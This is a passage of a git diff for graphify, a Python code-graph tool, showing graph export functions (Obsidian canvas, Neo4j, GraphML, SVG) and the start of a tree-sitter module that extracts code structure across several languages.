all_edges_weighted.append((weight, u, v, label)) + + all_edges_weighted.sort(key=lambda x: -x[0]) + for weight, u, v, label in all_edges_weighted[:200]: + canvas_edges.append({ + "id": f"e_{u}_{v}", + "fromNode": f"n_{u}", + "toNode": f"n_{v}", + "label": label, + }) + + canvas_data = {"nodes": canvas_nodes, "edges": canvas_edges} + Path(output_path).write_text(json.dumps(canvas_data, indent=2), encoding="utf-8") # nosec + + +def push_to_neo4j( + G: nx.Graph, + uri: str, + user: str, + password: str, + communities: dict[int, list[str]] | None = None, +) -> dict[str, int]: + """Push graph directly to a running Neo4j instance via the Python driver. + + Requires: pip install neo4j + + Uses MERGE so re-running is safe - nodes and edges are upserted, not duplicated. + Returns a dict with counts of nodes and edges pushed. + """ + try: + from neo4j import GraphDatabase + except ImportError as e: + raise ImportError( + "neo4j driver not installed. Run: pip install neo4j" + ) from e + + node_community = _node_community_map(communities) if communities else {} + + def _safe_rel(relation: str) -> str: + return re.sub(r"[^A-Z0-9_]", "_", relation.upper().replace(" ", "_").replace("-", "_")) or "RELATED_TO" + + def _safe_label(label: str) -> str: + """Sanitize a Neo4j node label to prevent Cypher injection.""" + sanitized = re.sub(r"[^A-Za-z0-9_]", "", label) + return sanitized if sanitized else "Entity" + + driver = GraphDatabase.driver(uri, auth=(user, password)) + nodes_pushed = 0 + edges_pushed = 0 + + with driver.session() as session: + for node_id, data in G.nodes(data=True): + props = { + k: v for k, v in data.items() + if isinstance(v, (str, int, float, bool)) and not k.startswith("_") + } + props["id"] = node_id + cid = node_community.get(node_id) + if cid is not None: + props["community"] = cid + ftype = _safe_label(data.get("file_type", "Entity").capitalize()) + session.run( + f"MERGE (n:{ftype} {{id: $id}}) SET n += $props", + id=node_id, + props=props, + ) + nodes_pushed += 1 + + for u, v, data in G.edges(data=True): + rel = _safe_rel(data.get("relation", "RELATED_TO")) + props = { + k: v for k, v in data.items() + if isinstance(v, (str, int, float, bool)) and not k.startswith("_") + } + session.run( + f"MATCH (a {{id: $src}}), (b {{id: $tgt}}) " + f"MERGE (a)-[r:{rel}]->(b) SET r += $props", + src=u, + tgt=v, + props=props, + ) + edges_pushed += 1 + + driver.close() + return {"nodes": nodes_pushed, "edges": edges_pushed} + + +def to_graphml( + G: nx.Graph, + communities: dict[int, list[str]], + output_path: str, +) -> None: + """Export graph as GraphML - opens in Gephi, yEd, and any GraphML-compatible tool. + + Community IDs are written as a node attribute so Gephi can colour by community. + Edge confidence (EXTRACTED/INFERRED/AMBIGUOUS) is preserved as an edge attribute. + """ + H = G.copy() + node_community = _node_community_map(communities) + for node_id in H.nodes(): + H.nodes[node_id]["community"] = node_community.get(node_id, -1) + # Drop internal markers (e.g. the AST-provenance "_origin" tag, #1116, and + # the "_src"/"_tgt" direction markers) — they are persistence/runtime details, + # not graph data, and should not leak into the exported file. + for _, attrs in H.nodes(data=True): + for k in [k for k in attrs if k.startswith("_")]: + del attrs[k] + for _, _, attrs in H.edges(data=True): + for k in [k for k in attrs if k.startswith("_")]: + del attrs[k] + nx.write_graphml(H, output_path) + + +def to_svg( + G: nx.Graph, + communities: dict[int, list[str]], + output_path: str, + community_labels: dict[int, str] | None = None, + figsize: tuple[int, int] = (20, 14), +) -> None: + """Export graph as an SVG file using matplotlib + spring layout. + + Lightweight and embeddable - works in Obsidian notes, Notion, GitHub READMEs, + and any markdown renderer. No JavaScript required. + + Node size scales with degree. Community colors match the HTML output. + """ + try: + import matplotlib + matplotlib.use("Agg") + import matplotlib.pyplot as plt + import matplotlib.patches as mpatches + except ImportError as e: + raise ImportError("matplotlib not installed. Run: pip install matplotlib") from e + + node_community = _node_community_map(communities) + + fig, ax = plt.subplots(figsize=figsize, facecolor="#1a1a2e") + ax.set_facecolor("#1a1a2e") + ax.axis("off") + + pos = nx.spring_layout(G, seed=42, k=2.0 / (G.number_of_nodes() ** 0.5 + 1)) + + degree = dict(G.degree()) + max_deg = max(degree.values(), default=1) or 1 + + node_colors = [COMMUNITY_COLORS[node_community.get(n, 0) % len(COMMUNITY_COLORS)] for n in G.nodes()] + node_sizes = [300 + 1200 * (degree.get(n, 1) / max_deg) for n in G.nodes()] + + # Draw edges - dashed for non-EXTRACTED + for u, v, data in G.edges(data=True): + conf = data.get("confidence", "EXTRACTED") + style = "solid" if conf == "EXTRACTED" else "dashed" + alpha = 0.6 if conf == "EXTRACTED" else 0.3 + x0, y0 = pos[u] + x1, y1 = pos[v] + ax.plot([x0, x1], [y0, y1], color="#aaaaaa", linewidth=0.8, + linestyle=style, alpha=alpha, zorder=1) + + nx.draw_networkx_nodes(G, pos, ax=ax, node_color=node_colors, + node_size=node_sizes, alpha=0.9) + nx.draw_networkx_labels(G, pos, ax=ax, + labels={n: G.nodes[n].get("label", n) for n in G.nodes()}, + font_size=7, font_color="white") + + # Legend + if community_labels: + patches = [ + mpatches.Patch( + color=COMMUNITY_COLORS[cid % len(COMMUNITY_COLORS)], + label=f"{label} ({len(communities.get(cid, []))})", + ) + for cid, label in sorted(community_labels.items()) + ] + ax.legend(handles=patches, loc="upper left", framealpha=0.7, + facecolor="#2a2a4e", labelcolor="white", fontsize=8) + + plt.tight_layout() + plt.savefig(output_path, format="svg", bbox_inches="tight", + facecolor=fig.get_facecolor()) + plt.close(fig) diff --git a/skills/graphify/extract.py b/skills/graphify/extract.py new file mode 100644 index 00000000..a40304b0 --- /dev/null +++ b/skills/graphify/extract.py @@ -0,0 +1,11570 @@ +"""Deterministic structural extraction from source code using tree-sitter. Outputs nodes+edges dicts.""" +from __future__ import annotations + +import importlib +import json +import os +import re +import sys +import unicodedata +from dataclasses import dataclass, field +from pathlib import Path +from typing import Any, Callable + +from .cache import load_cached, save_cached +from .mcp_ingest import extract_mcp_config, is_mcp_config_path + +_RECURSION_LIMIT = 10_000 + +# Language built-in globals that AST may classify as call targets when used as +# constructors or coercion functions (e.g. String(x), Number(x), Boolean(x)). +# Without this filter they become god-nodes accumulating spurious edges from +# every call site. Filter applied at same-file and cross-file resolution. +# See issue #726. +_LANGUAGE_BUILTIN_GLOBALS: frozenset[str] = frozenset({ + # JavaScript / TypeScript ECMAScript built-ins + "String", "Number", "Boolean", "Object", "Array", "Symbol", "BigInt", + "Date", "RegExp", "Error", "TypeError", "RangeError", "SyntaxError", + "ReferenceError", "EvalError", "URIError", + "Promise", "Map", "Set", "WeakMap", "WeakSet", "JSON", "Math", + "Reflect", "Proxy", "Intl", + "parseInt", "parseFloat", "isNaN", "isFinite", + "encodeURIComponent", "decodeURIComponent", "encodeURI", "decodeURI", + # Browser / Node common globals + "URL", "URLSearchParams", "FormData", "Blob", "File", + "Headers", "Request", "Response", "AbortController", "AbortSignal", + "TextEncoder", "TextDecoder", "console", + # Python built-in callables + "str", "int", "float", "bool", "list", "dict", "set", "tuple", "bytes", + "len", "range", "enumerate", "zip", "map", "filter", "sum", "min", "max", + "print", "open", "isinstance", "type", "super", "sorted", "reversed", + "any", "all", "abs", "round", "next", "iter", "hash", "id", "repr", + "callable", "getattr", "setattr", "hasattr", "delattr", "vars", "dir", +}) + + +def _raise_recursion_limit() -> None: + if sys.getrecursionlimit() < _RECURSION_LIMIT: + sys.setrecursionlimit(_RECURSION_LIMIT) + + +def _safe_extract(extractor: Callable, path: Path) -> dict: + try: + return extractor(path) + except RecursionError: + print(f" warning: skipped {path} (recursion limit exceeded)", file=sys.stderr, flush=True) + return {"nodes": [], "edges": [], "error": "recursion_limit_exceeded"} + except Exception as e: + if os.environ.get("GRAPHIFY_DEBUG"): + import traceback + traceback.print_exc(file=sys.stderr) + print(f" warning: skipped {path} ({type(e).__name__}: {e})", file=sys.stderr, flush=True) + return {"nodes": [], "edges": [], "error": f"{type(e).__name__}: {e}"} + + +def _make_id(*parts: str) -> str: + r"""Build a stable node ID from one or more name parts. + + Preserves Unicode letters/digits (CJK, Cyrillic, Arabic, accented Latin, + etc.) so non-ASCII identifiers produce distinct IDs and don't collapse to + a single per-file node (#811). NFKC normalization ensures composed and + decomposed forms of the same character (e.g. é vs e+combining-acute) + produce the same ID. Must stay in sync with build._normalize_id. + """ + combined = "_".join(p.strip("_.") for p in parts if p) + combined = unicodedata.normalize("NFKC", combined) + cleaned = re.sub(r"[^\w]+", "_", combined, flags=re.UNICODE) + cleaned = re.sub(r"_+", "_", cleaned) + return cleaned.strip("_").casefold() + + +def _file_stem(path: Path) -> str: + """Return a stem qualified with the parent directory name to avoid ID collisions + when multiple files share the same filename in different directories (#550).""" + parent = path.parent.name + if parent and parent not in (".", ""): + return f"{parent}.{path.stem}" + return path.stem + + +def _file_node_id(rel_path: Path) -> str: + """File-level node ID matching the skill.md spec: ``{parent_dir}_{stem}`` — + one parent directory level, no extension. ``rel_path`` MUST be relative to + the project root so top-level files collapse to a bare stem (``setup.py`` -> + ``setup``) instead of picking up the root directory name. This must equal the + ID semantic subagents generate, or AST and semantic extraction split a file + into two disconnected ghost nodes (#1033).""" + return _make_id(_file_stem(rel_path)) + + +_TSCONFIG_ALIAS_CACHE: dict[str, dict[str, str]] = {} +_WORKSPACE_PACKAGE_CACHE: dict[str, dict[str, Path]] = {} +_JS_CACHE_BYPASS_SUFFIXES = {".js", ".jsx", ".mjs", ".ts", ".tsx", ".vue", ".svelte"} +_JS_RESOLVE_EXTS = (".ts", ".tsx", ".svelte", ".js", ".jsx", ".mjs") +_JS_INDEX_FILES = ("index.ts", "index.tsx", "index.svelte", "index.js", "index.jsx", "index.mjs") + + +SEMANTIC_RELATIONS = frozenset({ + "inherits", "implements", "mixes_in", "embeds", "references", + "calls", "imports", "imports_from", "re_exports", "contains", "method", +}) + +REFERENCE_CONTEXTS = frozenset({ + "field", "parameter_type", "return_type", "generic_arg", "attribute", "value", "type", +}) + + +def _source_location(line: int | str | None) -> str | None: + if line is None: + return None + if isinstance(line, str): + return line if line.startswith("L") else f"L{line}" + return f"L{line}" + + +def _semantic_reference_edge( + source: str, + target: str, + context: str, + source_file: str, + line: int | str | None, +) -> dict: + if context not in REFERENCE_CONTEXTS: + raise ValueError(f"unknown reference context: {context}") + return { + "source": source, + "target": target, + "relation": "references", + "context": context, + "confidence": "EXTRACTED", + "source_file": source_file, + "source_location": _source_location(line), + "weight": 1.0, + } + + +def _resolve_js_import_path(candidate: Path) -> Path: + """Resolve a JS/TS/Svelte import target to a local file when it exists.""" + candidate = Path(os.path.normpath(candidate)) + if candidate.is_file(): + return candidate + + # TS ESM convention: imports often spell .js/.jsx while source is .ts/.tsx. + if candidate.suffix == ".js": + ts_candidate = candidate.with_suffix(".ts") + if ts_candidate.is_file(): + return ts_candidate + elif candidate.suffix == ".jsx": + tsx_candidate = candidate.with_suffix(".tsx") + if tsx_candidate.is_file(): + return tsx_candidate + + # Append extensions to the full filename, which covers extensionless imports, + # multi-dot helpers, and Svelte 5 rune files like Foo.svelte.ts. + for ext in _JS_RESOLVE_EXTS: + with_ext = candidate.parent / f"{candidate.name}{ext}" + if with_ext.is_file(): + return with_ext + + # Only fall back to directory indexes after file candidates lose. + if candidate.is_dir(): + for index_name in _JS_INDEX_FILES: + index_candidate = candidate / index_name + if index_candidate.is_file(): + return index_candidate + + return candidate + + +def _strip_jsonc(text: str) -> str: + """Strip // line comments, /* */ block comments, and trailing commas from JSONC. + + Preserves string contents (including // and /* inside strings) by skipping over + quoted spans first. Required for tsconfig.json files generated by SvelteKit, + NestJS, Vite, T3, Astro, etc., which use JSONC by default (#700). + """ + # Remove block and line comments while leaving string literals untouched. + pattern = re.compile( + r'"(?:\\.|[^"\\])*"' # double-quoted string (with escapes) + r"|/\*.*?\*/" # /* block comment */ + r"|//[^\n]*", # // line comment + re.DOTALL, + ) + + def _replace(match: re.Match) -> str: + token = match.group(0) + if token.startswith('"'): + return token + return "" + + stripped = pattern.sub(_replace, text) + # Remove trailing commas before } or ] (allowing whitespace between). + stripped = re.sub(r",(\s*[}\]])", r"\1", stripped) + return stripped + + +def _read_tsconfig_aliases(tsconfig: Path, base_dir: Path, seen: set) -> dict[str, str]: + """Recursively read path aliases from a tsconfig, following extends chains. + + Child config paths override parent. Circular extends are detected via seen set. + npm package configs (e.g. @tsconfig/svelte) are skipped since they're not on disk. + Handles JSONC (comments + trailing commas) which is the default tsconfig format + for SvelteKit, NestJS, Vite, T3, Astro, etc. (#700). + """ + if str(tsconfig) in seen: + return {} + seen.add(str(tsconfig)) + try: + raw = tsconfig.read_text(encoding="utf-8") + except Exception as e: + print(f" warning: could not read {tsconfig} ({type(e).__name__}: {e})", file=sys.stderr, flush=True) + return {} + try: + data = json.loads(raw) + except json.JSONDecodeError: + try: + data = json.loads(_strip_jsonc(raw)) + except json.JSONDecodeError as e: + print(f" warning: failed to parse {tsconfig} as JSON/JSONC ({e.msg} at line {e.lineno} col {e.colno})", file=sys.stderr, flush=True) + return {} + except Exception as e: + print(f" warning: failed to parse {tsconfig} ({type(e).__name__}: {e})", file=sys.stderr, flush=True) + return {} + + aliases: dict[str, str] = {} + # `extends` may be a string or, since TypeScript 5.0, an array of paths. + # For an array, parents are processed in order with later entries + # overriding earlier ones; the extending config (paths below) overrides + # all parents. Without the list branch, an array `extends` raised + # `AttributeError: 'list' object has no attribute 'startswith'`, which + # _safe_extract turned into a skip of the whole file. + extends = data.get("extends") + if isinstance(extends, str): + extends_list = [extends] + elif isinstance(extends, list): + extends_list = [e for e in extends if isinstance(e, str)] + else: + extends_list = [] + for ext in extends_list: + # Skip scoped npm package configs (e.g. @tsconfig/svelte) — not on disk. + if not ext or ext.startswith("@"): + continue + extended_path = (base_dir / ext).resolve() + if not extended_path.suffix: + extended_path = extended_path.with_suffix(".json") + if extended_path.exists(): + aliases.update(_read_tsconfig_aliases(extended_path, extended_path.parent, seen)) + + paths = data.get("compilerOptions", {}).get("paths", {}) + for alias, targets in paths.items(): + if not targets: + continue + alias_prefix = alias.rstrip("/*") + target_base = targets[0].rstrip("/*") + aliases[alias_prefix] = str(base_dir / target_base) + + return aliases + + +def _load_tsconfig_aliases(start_dir: Path) -> dict[str, str]: + """Walk up from start_dir to find tsconfig.json and return compilerOptions.paths aliases. + + Follows extends chains so SvelteKit/Nuxt/NestJS inherited aliases are included. + Returns a dict mapping alias prefix (e.g. "@/") to resolved base dir (e.g. "src/"). + Result is cached by tsconfig path string. + """ + current = start_dir.resolve() + for candidate in [current, *current.parents]: + tsconfig = candidate / "tsconfig.json" + if tsconfig.exists(): + key = str(tsconfig) + if key not in _TSCONFIG_ALIAS_CACHE: + _TSCONFIG_ALIAS_CACHE[key] = _read_tsconfig_aliases(tsconfig, candidate, seen=set()) + return _TSCONFIG_ALIAS_CACHE[key] + return {} + + +def _find_workspace_root(start_dir: Path) -> Path | None: + current = start_dir.resolve() + for candidate in [current, *current.parents]: + if (candidate / "pnpm-workspace.yaml").exists(): + return candidate + return None + + +def _workspace_globs(workspace_file: Path) -> list[str]: + globs: list[str] = [] + in_packages = False + for raw_line in workspace_file.read_text(encoding="utf-8", errors="replace").splitlines(): + line = raw_line.strip() + if not line or line.startswith("#"): + continue + if line.startswith("packages:"): + in_packages = True + continue + if in_packages and line.startswith("-"): + value = line[1:].strip().strip("'\"") + if value and not value.startswith("!"): + globs.append(value) + continue + if in_packages and not raw_line.startswith((" ", "\t")): + break + return globs + + +def _load_workspace_packages(start_dir: Path) -> dict[str, Path]: + root = _find_workspace_root(start_dir) + if root is None: + return {} + key = str(root) + if key in _WORKSPACE_PACKAGE_CACHE: + return _WORKSPACE_PACKAGE_CACHE[key] + + packages: dict[str, Path] = {} + for pattern in _workspace_globs(root / "pnpm-workspace.yaml"): + package_dirs: list[Path] = [root] if pattern in (".", "./") else list(root.glob(pattern)) + for package_dir in package_dirs: + manifest = package_dir / "package.json" + if not manifest.is_file(): + continue + try: + data = json.loads(manifest.read_text(encoding="utf-8")) + except Exception: + continue + name = data.get("name") + if isinstance(name, str) and name: + packages[name] = package_dir + _WORKSPACE_PACKAGE_CACHE[key] = packages + return packages + + +def _package_entry_candidates(package_dir: Path, subpath: str) -> list[Path]: + manifest = package_dir / "package.json" + manifest_data: dict[str, Any] = {} + try: + manifest_data = json.loads(manifest.read_text(encoding="utf-8")) + except Exception: + pass + + if subpath: + return [package_dir / subpath] + + exports = manifest_data.get("exports") + if isinstance(exports, str): + return [package_dir / exports] + if isinstance(exports, dict): + dot_export = exports.get(".") + if isinstance(dot_export, str): + return [package_dir / dot_export] + if isinstance(dot_export, dict): + for key in ("types", "import", "default", "svelte"): + value = dot_export.get(key) + if isinstance(value, str): + return [package_dir / value] + + candidates: list[Path] = [] + for key in ("svelte", "module", "main", "types"): + value = manifest_data.get(key) + if isinstance(value, str): + candidates.append(package_dir / value) + candidates.append(package_dir / "src/index") + candidates.append(package_dir / "index") + return candidates + + +def _resolve_workspace_import(raw: str, start_dir: Path) -> Path | None: + packages = _load_workspace_packages(start_dir) + for package_name, package_dir in packages.items(): + if raw == package_name: + subpath = "" + elif raw.startswith(package_name + "/"): + subpath = raw[len(package_name) + 1:] + else: + continue + for candidate in _package_entry_candidates(package_dir, subpath): + resolved = _resolve_js_import_path(candidate) + if resolved.is_file(): + return resolved + return None + + +def _resolve_js_module_path(raw: str | Path, start_dir: Path | None = None) -> Path | None: + """Resolve a JS/TS module path or specifier to a local source file. + + With a Path argument this preserves the path-based helper API used by + import-extension tests. With a string plus start_dir it resolves JS/TS + module specifiers including relative paths, tsconfig aliases, and workspace + packages. + """ + if isinstance(raw, Path): + return _resolve_js_import_path(raw) + if start_dir is None: + return _resolve_js_import_path(Path(raw)) + if raw.startswith("."): + return _resolve_js_import_path(start_dir / raw) + + aliases = _load_tsconfig_aliases(start_dir) + for alias_prefix, alias_base in aliases.items(): + if raw == alias_prefix or raw.startswith(alias_prefix + "/"): + rest = raw[len(alias_prefix):].lstrip("/") + return _resolve_js_import_path(Path(os.path.normpath(Path(alias_base) / rest))) + + return _resolve_workspace_import(raw, start_dir) + + +# ── LanguageConfig dataclass ───────────────────────────────────────────────── + +@dataclass +class LanguageConfig: + ts_module: str # e.g. "tree_sitter_python" + ts_language_fn: str = "language" # attr to call: e.g. tslang.language() + + class_types: frozenset = frozenset() + function_types: frozenset = frozenset() + import_types: frozenset = frozenset() + call_types: frozenset = frozenset() + static_prop_types: frozenset = frozenset() + helper_fn_names: frozenset = frozenset() + container_bind_methods: frozenset = frozenset() + event_listener_properties: frozenset = frozenset() + + # Name extraction + name_field: str = "name" + name_fallback_child_types: tuple = () + + # Body detection + body_field: str = "body" + body_fallback_child_types: tuple = () # e.g. ("declaration_list", "compound_statement") + + # Call name extraction + call_function_field: str = "function" # field on call node for callee + call_accessor_node_types: frozenset = frozenset() # member/attribute nodes + call_accessor_field: str = "attribute" # field on accessor for method name + + # Stop recursion at these types in walk_calls + function_boundary_types: frozenset = frozenset() + + # Import handler: called for import nodes instead of generic handling + import_handler: Callable | None = None + + # Optional custom name resolver for functions (C, C++ declarator unwrapping) + resolve_function_name_fn: Callable | None = None + + # Extra label formatting for functions: if True, functions get "name()" label + function_label_parens: bool = True + + # Extra walk hook called after generic dispatch (for JS arrow functions, C# namespaces, etc.) + extra_walk_fn: Callable | None = None + + +# ── Generic helpers ─────────────────────────────────────────────────────────── + +def _read_text(node, source: bytes) -> str: + return source[node.start_byte:node.end_byte].decode("utf-8", errors="replace") + + +_PYTHON_TYPE_CONTAINERS = frozenset({ + "list", "dict", "set", "tuple", "frozenset", "type", + "List", "Dict", "Set", "Tuple", "FrozenSet", "Type", + "Optional", "Union", "Sequence", "Iterable", "Mapping", "MutableMapping", + "Iterator", "Callable", "Awaitable", "AsyncIterable", "AsyncIterator", "Coroutine", + "Generator", "AsyncGenerator", "ContextManager", "AsyncContextManager", + "Annotated", "ClassVar", "Final", "Literal", "Concatenate", "ParamSpec", "TypeVar", + "None", "Ellipsis", +}) + +# Scalar builtins and test-mock names that appear as type annotations but carry +# no useful semantic meaning as graph nodes (#1147). Suppressed at the annotation +# walker level so they are never created as nodes or emitted as edges. +_PYTHON_ANNOTATION_NOISE = frozenset({ + # scalar builtins + "str", "int", "float", "bool", "bytes", "bytearray", "complex", "object", + "True", "False", + # unittest.mock + "MagicMock", "Mock", "AsyncMock", "NonCallableMock", + "NonCallableMagicMock", "PropertyMock", "patch", "sentinel", +}) + + +def _python_collect_type_refs(node, source: bytes, generic: bool, out: list[tuple[str, str]]) -> None: + """Walk a Python type annotation; append (name, role) where role is 'type' or 'generic_arg'. + + Builtin/typing containers (list, dict, Optional, Union, …) are not emitted as refs themselves, + but their nested type arguments still count as generic_arg. + """ + if node is None: + return + t = node.type + if t == "type": + for c in node.children: + if c.is_named: + _python_collect_type_refs(c, source, generic, out) + return + if t == "identifier": + name = _read_text(node, source) + if name and name not in _PYTHON_TYPE_CONTAINERS and name not in _PYTHON_ANNOTATION_NOISE: + out.append((name, "generic_arg" if generic else "type")) + return + if t == "attribute": + tail = _read_text(node, source).rsplit(".", 1)[-1] + if tail and tail not in _PYTHON_TYPE_CONTAINERS and tail not in _PYTHON_ANNOTATION_NOISE: + out.append((tail, "generic_arg" if generic else "type")) + return + if t == "generic_type": + for c in node.children: + if c.type == "identifier": + container = _read_text(c, source) + if container and container not in _PYTHON_TYPE_CONTAINERS and container not in _PYTHON_ANNOTATION_NOISE: + out.append((container, "generic_arg" if generic else "type")) + elif c.type == "type_parameter": + for sub in c.children: + if sub.is_named: + _python_collect_type_refs(sub, source, True, out) + return + if t == "subscript": + value = node.child_by_field_name("value") + if value is not None: + _python_collect_type_refs(value, source, generic, out) + for c in node.children: + if c is value or not c.is_named: + continue + _python_collect_type_refs(c, source, True, out) + return + if node.is_named: + for c in node.children: + if c.is_named: + _python_collect_type_refs(c, source, generic, out) + + +def _csharp_pre_scan_interfaces(root_node, source: bytes) -> set[str]: + """Return names declared as `interface` in this C# compilation unit.""" + out: set[str] = set() + stack = [root_node] + while stack: + n = stack.pop() + if n.type == "interface_declaration": + name_node = n.child_by_field_name("name") + if name_node is not None: + text = _read_text(name_node, source) + if text: + out.add(text) + stack.extend(n.children) + return out + + +def _csharp_classify_base(name: str, interface_names: set[str]) -> str: + """`implements` if the base name is an interface (declared or by I-prefix convention), else `inherits`.""" + if name in interface_names: + return "implements" + if len(name) >= 2 and name[0] == "I" and name[1].isupper(): + return "implements" + return "inherits" + + +def _csharp_collect_type_refs(node, source: bytes, generic: bool, out: list[tuple[str, str]]) -> None: + """Walk a C# type expression; append (name, role) tuples (role is 'type' or 'generic_arg').""" + if node is None: + return + t = node.type + if t == "predefined_type": + return + if t == "identifier": + name = _read_text(node, source) + if name: + out.append((name, "generic_arg" if generic else "type")) + return + if t == "qualified_name": + text = _read_text(node, source).rsplit(".", 1)[-1] + if text: + out.append((text, "generic_arg" if generic else "type")) + return + if t == "generic_name": + name_child = node.child_by_field_name("name") + if name_child is None: + for sub in node.children: + if sub.type == "identifier": + name_child = sub + break + if name_child is not None: + name = _read_text(name_child, source) + if name: + out.append((name, "generic_arg" if generic else "type")) + for sub in node.children: + if sub.type == "type_argument_list": + for arg in sub.children: + if arg.is_named: + _csharp_collect_type_refs(arg, source, True, out) + return + if t in ("nullable_type", "array_type", "pointer_type", "ref_type"): + for c in node.children: + if c.is_named: + _csharp_collect_type_refs(c, source, generic, out) + return + if node.is_named: + for c in node.children: + if c.is_named: + _csharp_collect_type_refs(c, source, generic, out) + + +def _csharp_attribute_names(method_node, source: bytes) -> list[str]: + """Collect attribute names from a C# method/declaration's attribute_list children.""" + names: list[str] = [] + for child in method_node.children: + if child.type != "attribute_list": + continue + for attr in child.children: + if attr.type != "attribute": + continue + name_node = attr.child_by_field_name("name") + if name_node is None: + for sub in attr.children: + if sub.type in ("identifier", "qualified_name"): + name_node = sub + break + if name_node is not None: + text = _read_text(name_node, source).rsplit(".", 1)[-1] + if text: + names.append(text) + return names + + +def _java_collect_type_refs(node, source: bytes, generic: bool, out: list[tuple[str, str]]) -> None: + """Walk a Java type expression; append (name, role) tuples.""" + if node is None: + return + t = node.type + if t in ("integral_type", "floating_point_type", "boolean_type", "void_type"): + return + if t == "type_identifier": + name = _read_text(node, source) + if name: + out.append((name, "generic_arg" if generic else "type")) + return + if t == "scoped_type_identifier": + text = _read_text(node, source).rsplit(".", 1)[-1] + if text: + out.append((text, "generic_arg" if generic else "type")) + return + if t == "generic_type": + for c in node.children: + if c.type in ("type_identifier", "scoped_type_identifier"): + text = _read_text(c, source).rsplit(".", 1)[-1] + if text: + out.append((text, "generic_arg" if generic else "type")) + break + for c in node.children: + if c.type == "type_arguments": + for arg in c.children: + if arg.is_named: + _java_collect_type_refs(arg, source, True, out) + return + if t == "array_type": + for c in node.children: + if c.is_named: + _java_collect_type_refs(c, source, generic, out) + return + if node.is_named: + for c in node.children: + if c.is_named: + _java_collect_type_refs(c, source, generic, out) + + +def _java_method_annotation_names(method_node, source: bytes) -> list[str]: + """Collect annotation names from a Java method's `modifiers` child.""" + names: list[str] = [] + modifiers = None + for child in method_node.children: + if child.type == "modifiers": + modifiers = child + break + if modifiers is None: + return names + for anno in modifiers.children: + if anno.type not in ("marker_annotation", "annotation"): + continue + name_node = anno.child_by_field_name("name") + if name_node is None: + for sub in anno.children: + if sub.type in ("identifier", "scoped_identifier", "type_identifier"): + name_node = sub + break + if name_node is not None: + text = _read_text(name_node, source).rsplit(".", 1)[-1] + if text: + names.append(text) + return names + + +_GO_PREDECLARED_TYPES = frozenset({ + "bool", "byte", "complex64", "complex128", "error", "float32", "float64", + "int", "int8", "int16", "int32", "int64", "rune", "string", + "uint", "uint8", "uint16", "uint32", "uint64", "uintptr", "any", "comparable", +}) + + +def _go_collect_type_refs(node, source: bytes, generic: bool, out: list[tuple[str, str]]) -> None: + """Walk a Go type expression; append (name, role) tuples.""" + if node is None: + return + t = node.type + if t == "type_identifier": + text = _read_text(node, source) + if text and text not in _GO_PREDECLARED_TYPES: + out.append((text, "generic_arg" if generic else "type")) + return + if t == "qualified_type": + text = _read_text(node, source).rsplit(".", 1)[-1] + if text and text not in _GO_PREDECLARED_TYPES: + out.append((text, "generic_arg" if generic else "type")) + return + if t == "generic_type": + type_field = node.child_by_field_name("type") + if type_field is not None: + sub: list[tuple[str, str]] = [] + _go_collect_type_refs(type_field, source, generic, sub) + out.extend(sub) + for c in node.children: + if c.type == "type_arguments": + for arg in c.children: + if arg.is_named: + _go_collect_type_refs(arg, source, True, out) + return + if t in ("pointer_type", "slice_type", "array_type", "map_type", + "channel_type", "parenthesized_type"): + for c in node.children: + if c.is_named: + _go_collect_type_refs(c, source, generic, out) + return + if node.is_named: + for c in node.children: + if c.is_named: + _go_collect_type_refs(c, source, generic, out) + + +def _rust_collect_type_refs(node, source: bytes, generic: bool, out: list[tuple[str, str]]) -> None: + """Walk a Rust type expression; append (name, role) tuples.""" + if node is None: + return + t = node.type + if t == "primitive_type": + return + if t == "type_identifier": + text = _read_text(node, source) + if text: + out.append((text, "generic_arg" if generic else "type")) + return + if t == "scoped_type_identifier": + text = _read_text(node, source).rsplit("::", 1)[-1] + if text: + out.append((text, "generic_arg" if generic else "type")) + return + if t == "generic_type": + name_node = node.child_by_field_name("type") + if name_node is None: + for c in node.children: + if c.type in ("type_identifier", "scoped_type_identifier"): + name_node = c + break + if name_node is not None: + text = _read_text(name_node, source).rsplit("::", 1)[-1] + if text: + out.append((text, "generic_arg" if generic else "type")) + for c in node.children: + if c.type == "type_arguments": + for arg in c.children: + if arg.is_named: + _rust_collect_type_refs(arg, source, True, out) + return + if t in ("reference_type", "pointer_type", "array_type", "tuple_type", "slice_type"): + for c in node.children: + if c.is_named: + _rust_collect_type_refs(c, source, generic, out) + return + if node.is_named: + for c in node.children: + if c.is_named: + _rust_collect_type_refs(c, source, generic, out) + + +def _php_name_text(node, source: bytes) -> str | None: + """Return the unqualified name text from a PHP `name`/`qualified_name` node.""" + if node is None: + return None + return _read_text(node, source).rsplit("\\", 1)[-1] or None + + +def _php_collect_type_refs(node, source: bytes, generic: bool, out: list[tuple[str, str]]) -> None: + """Walk a PHP type expression; append (name, role) tuples.""" + if node is None: + return + t = node.type + if t == "primitive_type": + return + if t == "named_type": + for c in node.children: + if c.type in ("name", "qualified_name"): + text = _php_name_text(c, source) + if text: + out.append((text, "generic_arg" if generic else "type")) + return + return + if t in ("name", "qualified_name"): + text = _php_name_text(node, source) + if text: + out.append((text, "generic_arg" if generic else "type")) + return + if t in ("nullable_type", "union_type", "intersection_type", "optional_type"): + for c in node.children: + if c.is_named: + _php_collect_type_refs(c, source, generic, out) + return + if node.is_named: + for c in node.children: + if c.is_named: + _php_collect_type_refs(c, source, generic, out) + + +def _php_method_return_type_node(method_node): + """Return the named_type/primitive_type node sitting after formal_parameters.""" + saw_params = False + for c in method_node.children: + if c.type == "formal_parameters": + saw_params = True + continue + if saw_params and c.is_named and c.type not in ("compound_statement",): + if c.type in ("named_type", "primitive_type", "nullable_type", + "union_type", "intersection_type", "optional_type"): + return c + return None + + +def _kotlin_user_type_name(user_type_node, source: bytes) -> str | None: + """Return the head identifier text from a Kotlin user_type node (without generics).""" + if user_type_node is None: + return None + for c in user_type_node.children: + if c.type == "type_identifier": + text = _read_text(c, source) + return text or None + if c.type == "identifier": + text = _read_text(c, source) + return text or None + if c.type == "simple_user_type": + for sub in c.children: + if sub.type in ("identifier", "type_identifier"): + text = _read_text(sub, source) + return text or None + return None + + +def _kotlin_collect_type_refs(node, source: bytes, generic: bool, out: list[tuple[str, str]]) -> None: + """Walk a Kotlin type expression; append (name, role) tuples.""" + if node is None: + return + t = node.type + if t in ("integral_literal", "boolean_literal"): + return + if t == "user_type": + for c in node.children: + if c.type in ("identifier", "type_identifier"): + text = _read_text(c, source) + if text: + out.append((text, "generic_arg" if generic else "type")) + break + if c.type == "simple_user_type": + for sub in c.children: + if sub.type in ("identifier", 